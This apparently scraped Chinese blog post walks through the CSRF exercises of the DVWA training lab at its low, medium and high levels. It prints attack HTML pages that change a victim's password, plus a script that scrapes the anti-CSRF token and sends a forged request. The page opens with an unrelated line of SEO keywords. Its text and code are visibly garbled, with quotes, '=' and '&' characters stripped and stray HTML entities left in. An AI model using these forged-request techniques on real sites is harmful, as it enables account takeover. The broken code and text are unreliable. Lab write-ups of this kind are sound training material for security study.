百度网站是用什么软件做的,济南58同城网,濮阳网站建设专家团队,镇江网站营销推广DVWA-csrf实例
low级别
修改密码#xff1a;修改的密码通过get请求#xff0c;暴露在url上。 写一个简单的html文件#xff0c;里面伪装修改密码的文字#xff0c;代码如下#xff1a;
htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csr…DVWA-csrf实例
low级别
修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下
htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/body
/html点击dvwa-csrf-low文字后跳转到dvwa的修改密码界面提示Password changed密码已修改。
middle级别
修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下
htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/body
/html点击dvwa-csrf-middle文字后跳转到dvwa的修改密码界面提示the request didn’t look correct (请求不正确)。 查看源码发现会校验http_referer和server_name两个参数不为空。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。
网上另外解法修改host和referer为localhost或127.0.0.1其实也是遵循同源策略。
high级别
修改密码修改的密码通过get请求暴露在url上并且带上user_token。
写一个简单的html文件里面伪装修改密码的文字代码如下
htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new2password_conf2ChangeChangeuser_token96f6243c53766d30d5e51cf92c15f9a3#dvwa-csrf-high/a/body
/html点击dvwa-csrf-high文字后跳转到dvwa的修改密码界面提示csrf token is incorrect (csrf的token错误)。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。结果还是失败。因此查看源码#1这行有进行token的校验。#2这行进行token生成大致可以分析出token生成后一次性校验跟验证码同理。
?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF token #1checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token #2
generateSessionToken();?基于分析出的结论要构建一个新请求先调用#2再调用修改密码的请求此时为了避免跨域问题。将写好的html直接放到dvwa下。
htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefjavascript:void(0); onclickinitJS()dvwa-csrf-high/a/bodyscript function initJS(){var theUrl http://dvwa:7001/vulnerabilities/csrf/;
if(window.XMLHttpRequest) {xmlhttp new XMLHttpRequest();
}else{xmlhttp new ActiveXObject(Microsoft.XMLHTTP);
}
var count 0;
xmlhttp.withCredentials true;
xmlhttp.onreadystatechangefunction(){if(xmlhttp.readyState 4 xmlhttp.status200){var text xmlhttp.responseText;var regex /user_token\ value\\(.*?)\ \/\/;var match text.match(regex);var token match[1];var new_url http://dvwa:7001/vulnerabilities/csrf/?user_tokentokenpassword_new1password_conf1ChangeChange;if(count0){count;//此代码用于只执行一次修改密码xmlhttp.open(GET,new_url,false);xmlhttp.send();}}
};
xmlhttp.open(GET,theUrl,false);
xmlhttp.send();}/script
/html用新密码可以成功登录通关结束。